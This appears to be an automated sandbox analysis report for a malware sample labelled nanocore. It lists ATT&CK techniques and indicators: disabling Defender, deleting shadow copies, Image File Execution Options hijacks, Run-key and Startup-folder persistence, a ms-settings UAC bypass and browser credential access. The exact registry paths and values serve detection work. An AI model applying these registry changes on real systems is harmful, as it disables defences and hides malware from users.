nanocore | a4d89b0a548a7b8aa14503031a685f5a0b1442409a53e2ba953cf999afae4138

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lunda.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
260	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	lunda.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lunda.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4544	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	lunda.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	lunda.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	lunda.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5924	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	lunda.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	lunda.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	lunda.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4900	wscript.exe
2400	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	lunda.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	lunda.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4676	sc.exe
2780	sc.exe
4524	sc.exe
5648	sc.exe
2452	sc.exe
432	sc.exe
5664	sc.exe
3004	sc.exe
5412	sc.exe
6064	sc.exe
4564	sc.exe
6036	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3724	cmd.exe
336	cmd.exe
432	cmd.exe
4972	cmd.exe
4640	cmd.exe
5468	cmd.exe
124	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5312	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1048	ipconfig.exe
684	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4732	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4356	vssadmin.exe
4644	vssadmin.exe
4872	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	lunda.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302340435818132"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	lunda.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	lunda.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	lunda.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	lunda.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe\" \"%1\""	lunda.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	lunda.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	lunda.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	lunda.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	lunda.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	lunda.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\lunda.io_chrome.exe"	lunda.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	lunda.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	lunda.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5700	schtasks.exe
4940	schtasks.exe
5768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1564	chrome.exe
1564	chrome.exe
260	powershell.exe
260	powershell.exe
260	powershell.exe
2108	WMIC.exe
2108	WMIC.exe
2108	WMIC.exe
2108	WMIC.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
2876	WMIC.exe
2876	WMIC.exe
2876	WMIC.exe
2876	WMIC.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5132	WMIC.exe
5132	WMIC.exe
5132	WMIC.exe
5132	WMIC.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe
5596	lunda.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5596	lunda.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeShutdownPrivilege	1564	chrome.exe
Token: SeCreatePagefilePrivilege	1564	chrome.exe
Token: SeBackupPrivilege	4100	vssvc.exe
Token: SeRestorePrivilege	4100	vssvc.exe
Token: SeAuditPrivilege	4100	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2108	WMIC.exe
Token: SeSecurityPrivilege	2108	WMIC.exe
Token: SeTakeOwnershipPrivilege	2108	WMIC.exe
Token: SeLoadDriverPrivilege	2108	WMIC.exe
Token: SeSystemProfilePrivilege	2108	WMIC.exe
Token: SeSystemtimePrivilege	2108	WMIC.exe
Token: SeProfSingleProcessPrivilege	2108	WMIC.exe
Token: SeIncBasePriorityPrivilege	2108	WMIC.exe
Token: SeCreatePagefilePrivilege	2108	WMIC.exe
Token: SeBackupPrivilege	2108	WMIC.exe
Token: SeRestorePrivilege	2108	WMIC.exe
Token: SeShutdownPrivilege	2108	WMIC.exe
Token: SeDebugPrivilege	2108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2108	WMIC.exe
Token: SeRemoteShutdownPrivilege	2108	WMIC.exe
Token: SeUndockPrivilege	2108	WMIC.exe
Token: SeManageVolumePrivilege	2108	WMIC.exe
Token: 33	2108	WMIC.exe
Token: 34	2108	WMIC.exe
Token: 35	2108	WMIC.exe
Token: 36	2108	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2108	WMIC.exe
Token: SeSecurityPrivilege	2108	WMIC.exe
Token: SeTakeOwnershipPrivilege	2108	WMIC.exe
Token: SeLoadDriverPrivilege	2108	WMIC.exe
Token: SeSystemProfilePrivilege	2108	WMIC.exe
Token: SeSystemtimePrivilege	2108	WMIC.exe
Token: SeProfSingleProcessPrivilege	2108	WMIC.exe
Token: SeIncBasePriorityPrivilege	2108	WMIC.exe
Token: SeCreatePagefilePrivilege	2108	WMIC.exe
Token: SeBackupPrivilege	2108	WMIC.exe
Token: SeRestorePrivilege	2108	WMIC.exe
Token: SeShutdownPrivilege	2108	WMIC.exe
Token: SeDebugPrivilege	2108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2108	WMIC.exe
Token: SeRemoteShutdownPrivilege	2108	WMIC.exe
Token: SeUndockPrivilege	2108	WMIC.exe
Token: SeManageVolumePrivilege	2108	WMIC.exe
Token: 33	2108	WMIC.exe
Token: 34	2108	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe
1564	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5596	lunda.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5596 wrote to memory of 1564	5596	lunda.io_chrome.exe	89
PID 1564 wrote to memory of 5460	1564	chrome.exe	90
PID 5596 wrote to memory of 260	5596	lunda.io_chrome.exe	91
PID 1564 wrote to memory of 5312	1564	chrome.exe	93
PID 1564 wrote to memory of 2576	1564	chrome.exe	94
PID 1564 wrote to memory of 2576	1564	chrome.exe	94
PID 1564 wrote to memory of 4980	1564	chrome.exe	95
PID 1564 wrote to memory of 4980	1564	chrome.exe	95
PID 5596 wrote to memory of 2780	5596	lunda.io_chrome.exe	96
PID 1564 wrote to memory of 1788	1564	chrome.exe	98
PID 1564 wrote to memory of 1788	1564	chrome.exe	98
PID 1564 wrote to memory of 4900	1564	chrome.exe	132
PID 1564 wrote to memory of 4900	1564	chrome.exe	132
PID 5596 wrote to memory of 4524	5596	lunda.io_chrome.exe	101
PID 1564 wrote to memory of 5544	1564	chrome.exe	103
PID 1564 wrote to memory of 5544	1564	chrome.exe	103
PID 5596 wrote to memory of 5648	5596	lunda.io_chrome.exe	104
PID 1564 wrote to memory of 5628	1564	chrome.exe	107
PID 1564 wrote to memory of 5628	1564	chrome.exe	107
PID 5596 wrote to memory of 2452	5596	lunda.io_chrome.exe	106
PID 5596 wrote to memory of 6064	5596	lunda.io_chrome.exe	109
PID 5596 wrote to memory of 4564	5596	lunda.io_chrome.exe	111
PID 5596 wrote to memory of 432	5596	lunda.io_chrome.exe	142
PID 5596 wrote to memory of 5664	5596	lunda.io_chrome.exe	114
PID 5596 wrote to memory of 4792	5596	lunda.io_chrome.exe	117
PID 5596 wrote to memory of 3004	5596	lunda.io_chrome.exe	118
PID 5596 wrote to memory of 5412	5596	lunda.io_chrome.exe	120
PID 4792 wrote to memory of 5884	4792	fodhelper.exe	122
PID 5596 wrote to memory of 4356	5596	lunda.io_chrome.exe	123
PID 5596 wrote to memory of 2108	5596	lunda.io_chrome.exe	126
PID 5596 wrote to memory of 4900	5596	lunda.io_chrome.exe	132
PID 5596 wrote to memory of 5700	5596	lunda.io_chrome.exe	133
PID 5596 wrote to memory of 4940	5596	lunda.io_chrome.exe	183
PID 5596 wrote to memory of 336	5596	lunda.io_chrome.exe	140
PID 5596 wrote to memory of 432	5596	lunda.io_chrome.exe	142
